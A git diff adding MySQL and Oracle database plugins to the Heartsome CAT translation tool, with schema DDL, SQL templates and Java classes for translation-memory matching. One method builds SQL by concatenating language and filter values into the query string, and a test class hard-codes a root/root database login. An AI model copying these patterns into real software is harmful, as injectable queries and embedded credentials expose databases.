varchar(6), + DATATYPE varchar(10), + SEGTYPE varchar(10), + CREATIONID varchar(40), + CREATIONDATE varchar(28), + CHANGEID varchar(40), + CHANGEDATE varchar(28), + ENCODING varchar(15), + primary key (MHPKID) + )ENGINE = InnoDB + + + CREATE TABLE MHEADERNODE + ( + MHNPKID int not null AUTO_INCREMENT, + MHPKID int not null, + NNAME varchar(100) not null, + NTYPE char(1) not null, + CONTENT text not null, + primary key (MHNPKID) + )ENGINE = InnoDB + + + create table MTU + ( + MTUPKID int not null AUTO_INCREMENT, + MHPKID int not null, + TUID varchar(100), + CREATIONID varchar(40), + CREATIONDATE datetime, + CHANGEID varchar(40), + CHANGEDATE datetime, + CREATIONTOOL varchar(200), + CTVERSION varchar(200), + CLIENT varchar(255), + PROJECTREF varchar(255), + JOBREF varchar(255), + primary key (MTUPKID) + )ENGINE = InnoDB + + + CREATE TABLE LANG + ( + LANGCODE varchar(6) not null, + primary key (LANGCODE) + )ENGINE = InnoDB + + + CREATE TABLE MPROP + ( + MPPKID int not null AUTO_INCREMENT, + PARENTNAME varchar(30) not null, + PARENTID int not null, + PNAME varchar(100) not null, + LANG varchar(6), + ENCODING varchar(15), + CONTENT longtext not null, + primary key (MPPKID), + KEY IDX_PARENTID (PARENTID) + )ENGINE = InnoDB + + + + CREATE TABLE MEXTRA + ( + MEPKID int not null AUTO_INCREMENT, + PARENTNAME varchar(30) not null, + PARENTID int not null, + NTYPE char(1) not null, + NNAME varchar(100) not null, + CONTENT text not null, + primary key (MEPKID), + KEY IDX_PARENTID (PARENTID) + )ENGINE = InnoDB + + + CREATE TABLE MNOTE + ( + MNPKID int not null AUTO_INCREMENT, + PARENTNAME varchar(30) not null, + PARENTID int not null, + CONTENT text not null, + CREATIONID varchar(40), + CREATIONDATE varchar(28), + CHANGEID varchar(40), + CHANGEDATE varchar(28), + ENCODING varchar(15), + LANG varchar(6), + primary key (MNPKID), + KEY IDX_PARENTID (PARENTID) + )ENGINE = InnoDB + + + CREATE TABLE TEXTDATA + ( + TPKID int not null AUTO_INCREMENT, + TYPE char(1) not null, + GROUPID int not null, + HASH int not null, + PURE text not null, + CONTENT text not null, + LANG varchar(6) not null, + PRECONTEXT varchar(100), + NEXTCONTEXT varchar(100), + primary key (TPKID), + KEY IDX_GROUPID (GROUPID), + KEY IDX_HASH (HASH) + )ENGINE = InnoDB + + + + + + create table BATTRIBUTE + ( + BAPKID int not null AUTO_INCREMENT, + BMTHPKID int not null, + ANAME varchar(100) not null, + AVALUE varchar(255) not null, + PARENTNAME varchar(100) not null, + primary key (BAPKID) + )ENGINE = InnoDB + + + create table BMARTIFHEADER + ( + BMTHPKID int not null AUTO_INCREMENT, + HID varchar(100), + CONTENT text not null, + primary key (BMTHPKID) + )ENGINE = InnoDB + + + create table BREFOBJECTLIST + ( + BROLPKID int not null AUTO_INCREMENT, + BMTHPKID int not null, + ROLID varchar(100), + CONTENT text not null, + primary key (BROLPKID) + )ENGINE = InnoDB + + + create table BTERMENTRY + ( + BTEPKID int not null AUTO_INCREMENT, + BMTHPKID int not null, + CID varchar(100), + CONTENT text not null, + primary key (BTEPKID) + )ENGINE = InnoDB + + + CREATE TABLE BNODE + ( + NPKID int not null AUTO_INCREMENT, + PARENTPKID int not null, + PARENTNAME varchar(100) not null, + NTYPE char not null, + NNAME varchar(100) not null, + NID varchar(100), + CONTENT text not null, + PRIMARY KEY (NPKID) + ) ENGINE=INNODB + + + + + + + + + create table MATRIX___LANG__ + ( + MPKID int not null AUTO_INCREMENT, + TPKID int not null, + NGRAM int not null, + SEGSIZE smallint not null, + primary key (MPKID), + KEY IDX_NGRAM_SEGSIZE (NGRAM,SEGSIZE) + )ENGINE = InnoDB + + + + + INSERT INTO MATRIX___LANG__ + (TPKID,NGRAM,SEGSIZE) + VALUES (?,?,?) + + + DELETE FROM MATRIX___LANG__ + WHERE __WHERE__ + + + SELECT TPKID FROM MATRIX___LANG__ + WHERE SEGSIZE >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + + + SELECT + TPKID + FROM + MATRIX_ENUS + WHERE SEGSIZE >=? AND SEGSIZE <=? AND NGRAM IN (__SET__) + GROUP BY TPKID HAVING COUNT(TPKID) BETWEEN ? AND ? + + + + + + + + SELECT LANG, PURE, CONTENT, PRECONTEXT,NEXTCONTEXT FROM TEXTDATA + WHERE GROUPID =? AND TYPE=? AND LANG=? + + + SELECT B.GROUPID, LANG, PURE, CONTENT, PRECONTEXT,NEXTCONTEXT, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, PROJECTREF, JOBREF, CLIENT + FROM + (SELECT GROUPID FROM TEXTDATA WHERE TPKID=?) A + LEFT JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN MTU C ON C.MTUPKID=A.GROUPID + WHERE B.TYPE='M' AND B.LANG=? OR B.LANG=? + + + SELECT B.GROUPID, LANG, PURE, CONTENT, PRECONTEXT,NEXTCONTEXT, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, PROJECTREF, JOBREF, CLIENT + FROM + (SELECT GROUPID FROM TEXTDATA WHERE TPKID IN (__SET__)) A + LEFT JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN MTU C ON C.MTUPKID=A.GROUPID + WHERE B.TYPE='M' AND B.LANG=? OR B.LANG=? + + + SELECT A.TPKID, A.PURE, B.PURE, C.CONTENT FROM TEXTDATA A + LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND B.TYPE='B' + LEFT JOIN BNODE C ON A.GROUPID = C.PARENTPKID AND C.PARENTNAME = 'termEntry' + AND C.NTYPE = 'E' AND C.NNAME = 'note' AND (C.NID = ? OR C.NID = ?) + WHERE A.TYPE='B' AND A.LANG=? AND LOCATE(A.PURE, ?) AND B.PURE IS NOT NULL; + + + \ No newline at end of file diff --git a/database/net.heartsome.cat.database.mysql/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.mysql/META-INF/MANIFEST.MF new file mode 100644 index 0000000..2f35097 --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/META-INF/MANIFEST.MF @@ -0,0 +1,15 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database MySQL +Bundle-SymbolicName: net.heartsome.cat.database.mysql +Bundle-Version: 8.0.0.R8b_v20121203 +Bundle-Activator: net.heartsome.cat.database.mysql.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.cat.database;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: lib/mysql-connector-java-5.1.10-bin.jar, + . +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/database/net.heartsome.cat.database.mysql/build.properties b/database/net.heartsome.cat.database.mysql/build.properties new file mode 100644 index 0000000..00fbb62 --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/build.properties @@ -0,0 +1,7 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/mysql-connector-java-5.1.10-bin.jar,\ + Configure/ diff --git a/database/net.heartsome.cat.database.mysql/lib/mysql-connector-java-5.1.10-bin.jar b/database/net.heartsome.cat.database.mysql/lib/mysql-connector-java-5.1.10-bin.jar new file mode 100644 index 0000000..33c35c6 Binary files /dev/null and b/database/net.heartsome.cat.database.mysql/lib/mysql-connector-java-5.1.10-bin.jar differ diff --git a/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/Activator.java b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/Activator.java new file mode 100644 index 0000000..699a0f9 --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.database.mysql; + +import net.heartsome.cat.database.DBServiceProvider; + +import org.eclipse.core.runtime.Plugin; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends Plugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.database.mysql"; + + // The shared instance + private static Activator plugin; + + // The mysql service registration + private ServiceRegistration mysqlServiceRegistration; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + + DbServiceProviderImpl service = new DbServiceProviderImpl(); + mysqlServiceRegistration = context.registerService(DBServiceProvider.class, service, null); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + + mysqlServiceRegistration.unregister(); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/DbServiceProviderImpl.java b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/DbServiceProviderImpl.java new file mode 100644 index 0000000..d42b2d1 --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/DbServiceProviderImpl.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.database.mysql; + +import net.heartsome.cat.database.DBServiceProvider; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.DBOperator; + +public class DbServiceProviderImpl implements DBServiceProvider{ + + public SystemDBOperator getOperateDBInstance() { + return new OperateSystemDBImpl(); + } + + public DBOperator getTmDatabaseInstance() { + return new TMDatabaseImpl(); + } + +} diff --git a/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/MetaDataImpl.java b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/MetaDataImpl.java new file mode 100644 index 0000000..38baa03 --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/MetaDataImpl.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.database.mysql; + +import net.heartsome.cat.common.bean.MetaData; + +public class MetaDataImpl extends MetaData{ + + @Override + public boolean dataPathSupported() { + return false; + } + + @Override + public boolean instanceSupported() { + return false; + } + +} diff --git a/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/OperateSystemDBImpl.java b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/OperateSystemDBImpl.java new file mode 100644 index 0000000..d96b6cb --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/OperateSystemDBImpl.java @@ -0,0 +1,34 @@ +package net.heartsome.cat.database.mysql; + +import java.net.URL; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.SQLException; +import java.util.Properties; + +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.SystemDBOperator; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; + +public class OperateSystemDBImpl extends SystemDBOperator{ + + public OperateSystemDBImpl(){ + metaData = new MetaDataImpl(); + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + metaData.setServerName(dbConfig.getDefaultServer()); + metaData.setPort(dbConfig.getDefaultPort()); + metaData.setDbType(dbConfig.getDefaultType()); + } + + @Override + protected Connection getConnection(String driver, String url, Properties prop) throws ClassNotFoundException, SQLException { + Class.forName(driver); + DriverManager.setLoginTimeout(1); + return DriverManager.getConnection(url, prop); + } +} diff --git a/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/TMDatabaseImpl.java b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/TMDatabaseImpl.java new file mode 100644 index 0000000..f544d2c --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/TMDatabaseImpl.java @@ -0,0 +1,320 @@ +package net.heartsome.cat.database.mysql; + +import java.net.URL; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.ResultSetMetaData; +import java.sql.SQLException; +import java.util.Collections; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Properties; +import java.util.Vector; + +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.DBConfig; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.Utils; + +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; + +/** + * @author terry + * @version + * @since JDK1.6 + */ +public class TMDatabaseImpl extends DBOperator { + + public void start() throws SQLException, ClassNotFoundException { + String driver = dbConfig.getDriver(); + Class.forName(driver); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + conn = DriverManager.getConnection(url, prop); + conn.setAutoCommit(false); + } + + /** + * 构造函数 + */ + public TMDatabaseImpl() { + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL fileUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + dbConfig = new DBConfig(fileUrl); + } + + @Override + public Vector> findMatch(String puretext, String srcLang, String tgtLang, + int minSimilarity, boolean caseSensitive, int matchUpperLimit, int contextSize, String preHash, + String nextHash) throws SQLException { + Vector> result = new Vector>(); + + int[] ngrams = generateNgrams(srcLang, puretext); + + int size = ngrams.length; + + if (size == 0) { + return result; + } + int min = size * minSimilarity / 100; + int max = size * 100 / minSimilarity; + Map tpkids = getCandidatesTextDataPks(Utils.langToCode(srcLang), min, max, ngrams); + + // 构建SQL + String textDataSql = dbConfig.getOperateDbSQL("getTMMatch"); + PreparedStatement stmt = conn.prepareStatement(textDataSql); + Iterator> it = tpkids.entrySet().iterator(); + StringBuffer bf = new StringBuffer(); + // long l = System.currentTimeMillis(); + while (it.hasNext()) { + Entry entry = it.next(); + String tpkid = entry.getKey(); + float c = entry.getValue(); + if (c >= min && c <= max) { + stmt.setString(1, tpkid); + stmt.setString(2, srcLang); + stmt.setString(3, tgtLang); + // System.out.println(stmt); + ResultSet rs = stmt.executeQuery(); + Hashtable tu = new Hashtable(); + bf.append(tpkid + ","); + while (rs.next()) { + String tuid = rs.getString("TUID"); + String lang = rs.getString("LANG"); + String fullText = rs.getString("CONTENT"); + String pureText = rs.getString("PURE"); + String creationId = rs.getString("CREATIONID"); + if (creationId == null) { + creationId = System.getProperty("user.name"); + } + String creationDate = rs.getString("CREATIONDATE"); + if (creationDate == null) { + creationDate = ""; + } + String changeid = rs.getString("CHANGEID"); + if (changeid == null) { + changeid = System.getProperty("user.name"); + } + + String changeDate = rs.getString("CHANGEDATE"); + if (changeDate == null) { + changeDate = ""; + } + + String preContext = rs.getString("PRECONTEXT"); + if (preContext == null) { + preContext = ""; + } + + String nextContext = rs.getString("NEXTCONTEXT"); + if (nextContext == null) { + nextContext = ""; + } + + String projectRef = rs.getString("PROJECTREF"); + if (projectRef == null) { + projectRef = ""; + } + + String jobRef = rs.getString("JOBREF"); + if (jobRef == null) { + jobRef = ""; + } + + String client = rs.getString("CLIENT"); + if (client == null) { + client = ""; + } + tu.put("tuId", tuid);// + if (lang.equalsIgnoreCase(srcLang)) { + tu.put("srcLang", lang);// + tu.put("srcText", pureText);// + tu.put("srcContent", fullText);// + tu.put("srcCreationId", creationId); + tu.put("srcCreationDate", creationDate); + tu.put("srcChangeId", changeid); + tu.put("srcChangeDate", changeDate); + tu.put("srcProjectRef", projectRef); + tu.put("srcJobRef", jobRef); + tu.put("srcClient", client); + tu.put("preContext", preContext);// + tu.put("nextContext", nextContext);// + } else if (lang.equalsIgnoreCase(tgtLang)) { + tu.put("tgtLang", lang);// + tu.put("tgtText", pureText);// + tu.put("tgtContent", fullText);// + tu.put("tgtCreationId", creationId); + tu.put("tgtCreationDate", creationDate); + tu.put("tgtChangeId", changeid); + tu.put("tgtChangeDate", changeDate); + tu.put("tgtProjectRef", projectRef); + tu.put("tgtJobRef", jobRef); + tu.put("tgtClient", client); + } + } + rs.close(); + + // 当没有目标语言时继续查找下一个TU + String targetLang = tu.get("tgtLang"); + if (targetLang == null) { + continue; + } + + String pure = tu.get("srcText"); + + int distance; + if (caseSensitive) { + distance = similarity(puretext, pure); + } else { + distance = similarity(puretext.toLowerCase(), pure.toLowerCase()); + } + // TODO 罚分实现 + + if (distance == 100) { + String preContext = tu.get("preContext"); + String nextContext = tu.get("nextContext"); + String[] preContexts = preContext.split(","); + String[] nextContexts = nextContext.split(","); + if (preContexts.length > contextSize) { + preContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + preContext += "," + preContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(preContext)) { //$NON-NLS-1$ + preContext = preContext.substring(1); + } + } + + if (nextContexts.length > contextSize) { + nextContext = ""; //$NON-NLS-1$ + for (int i = 0; i < contextSize; i++) { + nextContext += "," + nextContexts[i]; //$NON-NLS-1$ + } + if (!"".equals(nextContext)) { //$NON-NLS-1$ + nextContext = nextContext.substring(1); + } + } + + if (preHash.equals(preContext) && nextHash.equals(nextContext)) { + distance = 101; + } + + } + + if (distance >= minSimilarity) { + tu.put("similarity", "" + distance); + if (!isDuplicated(result, tu)) { + tu.put("dbName", getMetaData().getDatabaseName()); + result.add(tu); + } + } + } + } + // System.out.println(System.currentTimeMillis() - l); + // System.out.println(bf.toString()); + stmt.close(); + + // 按匹é…率高低排åºåŽï¼Œå¦‚果结果中的记录超过了最大é™åˆ¶æ•°ï¼Œåˆ™å–匹é…率最高的相应的结果 + Collections.sort(result, new FindMatchComparator()); + int resultSize = result.size(); + while (resultSize > matchUpperLimit) { + resultSize--; + result.remove(resultSize); + } + return result; + } + + @Override + public Vector> findAllTermsByText(String srcPureText, String srcLang, String tarLang) + throws SQLException { + commit(); + Vector> terms = new Vector>(); + // 构建SQL + String getTermSql = dbConfig.getOperateDbSQL("getTerm"); + PreparedStatement stmt = conn.prepareStatement(getTermSql); + + stmt.setString(1, tarLang); + stmt.setString(2, srcLang + "," + tarLang); + stmt.setString(3, tarLang + "," + srcLang); + stmt.setString(4, srcLang); + stmt.setString(5, srcPureText); + /* + * SELECT A.TPKID, A.PURE, B.PURE FROM TEXTDATA A LEFT JOIN TEXTDATA B ON A.GROUPID=B.GROUPID AND B.LANG=? AND + * B.TYPE='B' WHERE A.TYPE='B' AND A.LANG=? AND LOCATE(A.PURE, ?) AND B.PURE IS NOT NULL; + */ + ResultSet rs = stmt.executeQuery(); + while (rs.next()) { + + String tuid = rs.getString(1); + String srcWord = rs.getString(2); + String tgtWord = rs.getString(3); + String property = rs.getString(4); + Hashtable tu = new Hashtable(); + tu.put("tuid", tuid); + tu.put("srcLang", srcLang); + tu.put("srcWord", srcWord); + tu.put("tgtLang", tarLang); + tu.put("tgtWord", tgtWord); + tu.put("property", property == null ? "" : property); + terms.add(tu); + } + rs.close(); + stmt.close(); + + return terms; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.database.DBOperator#replaceTMOrTBConditionSql(java.lang.String, java.lang.String, boolean, + * boolean, boolean, java.lang.String, java.lang.String[]) + */ + public String replaceTMOrTBConditionSql(String sql, String strSearch, boolean isCaseSensitive, + boolean isApplyRegular, boolean isIgnoreMark, String srcLang, String[] arrFilter) { + strSearch = strSearch == null ? "" : strSearch; + StringBuffer strCondition = new StringBuffer(); + if (srcLang != null) { + strCondition.append(" AND A.LANG='" + srcLang + "'"); + } else { + return null; + } + if (isApplyRegular) { + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " REGEXP " + + (isCaseSensitive ? "BINARY " : "") + "'" + TextUtil.replaceRegextSqlWithMOP(strSearch) + "'"); + } else if (isCaseSensitive) { + strCondition.append(" AND BINARY " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " LIKE '%" + + TextUtil.cleanStringByLikeWithMysql(strSearch) + "%'"); + } else { + strCondition.append(" AND " + (isIgnoreMark ? "A.PURE" : "A.CONTENT") + " LIKE '%" + + TextUtil.cleanStringByLikeWithMysql(strSearch) + "%'"); + } + + if (arrFilter != null) { + StringBuffer strFilter = new StringBuffer(arrFilter[1] + " '%" + TextUtil.cleanStringByLikeWithMysql(arrFilter[2]) + + "%'"); + // 过滤æ¡ä»¶è¦åŠ åœ¨æºè¯­è¨€ä¸­ + if (arrFilter[0].equalsIgnoreCase(srcLang)) { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + strFilter.insert(0, " AND A.PURE "); + strCondition.append(strFilter.toString()); + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", " ,TEXTDATA B "); + strCondition.append(" AND A.GROUPID=B.GROUPID AND B.TYPE='M' AND B.LANG='" + arrFilter[0] + "'"); + strFilter.insert(0, " AND B.PURE "); + strCondition.append(strFilter.toString()); + } + } else { + sql = Utils.replaceString(sql, "__TABLE_TEXTDATA__", ""); + } + sql = Utils.replaceString(sql, "__CONDITION__", strCondition.toString()); + return sql; + } + +} diff --git a/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/Test.java b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/Test.java new file mode 100644 index 0000000..9b80435 --- /dev/null +++ b/database/net.heartsome.cat.database.mysql/src/net/heartsome/cat/database/mysql/Test.java @@ -0,0 +1,66 @@ +package net.heartsome.cat.database.mysql; + +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; + +public class Test { + + public static void main(String arg[]) { + + try { + + Connection conn2 = getConnection(); + System.out.println(conn2); + String selectSql = "select * from test"; + PreparedStatement pstm2 = conn2.prepareStatement(selectSql); + ResultSet rs = pstm2.executeQuery(); + while (rs.next()) { + System.out.println(rs.getString(1)); + } + pstm2.close(); + rs.close(); + + Connection conn1 = getConnection(); + System.out.println(conn1); + String insertSql = "insert into test(test) values(?)"; + PreparedStatement pstm = conn1.prepareStatement(insertSql); + pstm.setString(1, "test12313"); + pstm.executeUpdate(); + conn1.commit(); + pstm.close(); + conn1.close(); + + String sql2 = "select * from test where test=?"; + PreparedStatement pstm3 = conn2.prepareStatement(sql2); + pstm3.setString(1, "test12313"); + ResultSet rs1 = pstm3.executeQuery(); + while (rs1.next()) { + System.out.println("\n\n ==" + rs1.getString(1)); + } + + } catch (SQLException e) { + e.printStackTrace(); + } + + } + + public static Connection getConnection() { + try { + Class.forName("com.mysql.jdbc.Driver"); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + String url = "jdbc:mysql://localhost:3306/sample_db?user=root&password=root"; + try { + Connection conn = DriverManager.getConnection(url); + conn.setAutoCommit(false); + return conn; + } catch (SQLException e) { + e.printStackTrace(); + } + return null; + } +} diff --git a/database/net.heartsome.cat.database.oracle/.classpath b/database/net.heartsome.cat.database.oracle/.classpath new file mode 100644 index 0000000..d57fc82 --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/database/net.heartsome.cat.database.oracle/.project b/database/net.heartsome.cat.database.oracle/.project new file mode 100644 index 0000000..96ea941 --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/.project @@ -0,0 +1,33 @@ + + + net.heartsome.cat.database.oracle + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + org.eclipse.pde.ds.core.builder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.oracle/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.oracle/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..c94ddda --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:28:51 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.oracle/Configure/db_config.xml b/database/net.heartsome.cat.database.oracle/Configure/db_config.xml new file mode 100644 index 0000000..f6e1991 --- /dev/null +++ b/database/net.heartsome.cat.database.oracle/Configure/db_config.xml @@ -0,0 +1,1204 @@ + + + + oracle.jdbc.driver.OracleDriver + jdbc:oracle:thin:@//__SERVER_NAME__:__PORT_NUMBER__/__INSTANCE__ + + + localhost + Oracle + 1521 + + + __USER__ + __PASSWORD__ + + + + + + + + CREATE TABLE HSCATSYSDB + ( + DBNAME varchar(150) not null, + QUALITY + char(1) not null, + USERS varchar(4000), + TYPE integer not null, + primary + key (DBNAME) + ) + + + INSERT INTO HSCATSYSDB (DBNAME,QUALITY,TYPE) VALUES (?,?,?) + + DELETE FROM HSCATSYSDB WHERE DBNAME=? + SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB WHERE TYPE=? + + + + + + CREATE SEQUENCE __DATABASE_NAME___SEQ + INCREMENT BY 1 + START WITH 1 + NOMAXVALUE + NOCYCLE + NOCACHE + + + + CREATE TABLE __DATABASE_NAME___MHEADER + ( + MHPKID integer not null, + CREATIONTOOL varchar2(200), + CTVERSION + varchar2(200), + TMF varchar2(255), + SRCLANG varchar2(6), + ADMINLANG + varchar2(6), + DATATYPE varchar2(10), + SEGTYPE varchar2(10), + CREATIONID + varchar2(40), + CREATIONDATE + varchar2(28), + CHANGEID varchar2(40), + CHANGEDATE varchar2(28), + ENCODING + varchar2(15), + primary key (MHPKID) + ) + + + CREATE TABLE __DATABASE_NAME___MHEADERNODE + ( + MHNPKID integer not + null, + MHPKID integer not null, + NNAME varchar2(100) + not null, + NTYPE + char(1) not null, + CONTENT varchar2(4000) not null, + primary key + (MHNPKID) + ) + + + create table __DATABASE_NAME___MTU + ( + MTUPKID integer not null, + MHPKID integer not null, + TUID varchar2(100), + CREATIONID varchar2(40), + CREATIONDATE date, + CHANGEID varchar2(40), + CHANGEDATE date, + CREATIONTOOL + varchar2(200), + CTVERSION varchar2(200), + CLIENT varchar2(255), + PROJECTREF varchar2(255), + JOBREF varchar2(255), + primary key (MTUPKID) + ) + + + CREATE TABLE __DATABASE_NAME___LANG + ( + LANGCODE varchar(6) not + null, + primary key (LANGCODE) + ) + + + CREATE TABLE __DATABASE_NAME___MPROP + ( + MPPKID integer not null, + PARENTNAME varchar2(30) not null, + PARENTID integer not null, + PNAME + varchar2(100) not null, + LANG varchar2(6), + ENCODING varchar2(15), + CONTENT clob not null, + primary key (MPPKID) + ) + + + + CREATE TABLE __DATABASE_NAME___MEXTRA + ( + MEPKID integer not null, + PARENTNAME varchar2(30) not null, + PARENTID integer not null, + NTYPE + char(1) not null, + NNAME varchar2(100) not null, + CONTENT varchar2(4000) + not null, + primary key (MEPKID) + ) + + + CREATE TABLE __DATABASE_NAME___MNOTE + ( + MNPKID integer not null, + PARENTNAME varchar2(30) not null, + PARENTID integer not null, + CONTENT + varchar2(4000) not null, + CREATIONID varchar2(40), + CREATIONDATE + varchar2(28), + CHANGEID varchar2(40), + CHANGEDATE varchar2(28), + ENCODING + varchar2(15), + LANG varchar2(6), + primary key (MNPKID) + ) + + + CREATE TABLE __DATABASE_NAME___TEXTDATA + ( + TPKID integer not null, + TYPE char(1) not null, + GROUPID integer not null, + HASH integer not null, + PURE clob, + CONTENT clob, + LANG varchar2(6) not null, + PRECONTEXT + varchar2(100), + NEXTCONTEXT varchar2(100), + primary key (TPKID) + ) + + + + + + create table __DATABASE_NAME___BATTRIBUTE + ( + BAPKID integer not + null, + BMTHPKID integer not null, + ANAME varchar2(100) + not null, + AVALUE + varchar2(255) not null, + PARENTNAME varchar2(100) not + null, + primary key + (BAPKID) + ) + + + create table __DATABASE_NAME___BMARTIFHEADER + ( + BMTHPKID integer + not null, + HID varchar2(100), + CONTENT varchar2(4000) + not null, + primary key + (BMTHPKID) + ) + + + create table __DATABASE_NAME___BREFOBJECTLIST + ( + BROLPKID integer + not null, + BMTHPKID integer not null, + ROLID varchar2(100), + CONTENT + varchar2(4000) not null, + primary key (BROLPKID) + ) + + + create table __DATABASE_NAME___BTERMENTRY + ( + BTEPKID integer not + null, + BMTHPKID integer not null, + CID varchar2(100), + CONTENT + varchar2(4000) not null, + primary key (BTEPKID) + ) + + + create table __DATABASE_NAME___BNODE + ( + NPKID integer not null, + PARENTPKID integer not null, + PARENTNAME varchar2(100) not null, + NTYPE + char not null, + NNAME varchar2(100) not null, + NID varchar2(100), + CONTENT + varchar2(4000) not null, + primary key (NPKID) + ) + + + + + + + CREATE INDEX __DATABASE_NAME___TD ON __DATABASE_NAME___TEXTDATA + (GROUPID) + + CREATE INDEX __DATABASE_NAME___TH ON __DATABASE_NAME___TEXTDATA + (HASH) + + CREATE INDEX __DATABASE_NAME___MP ON __DATABASE_NAME___MPROP + (PARENTID) + + CREATE INDEX __DATABASE_NAME___ME ON __DATABASE_NAME___MEXTRA + (PARENTID) + + CREATE INDEX 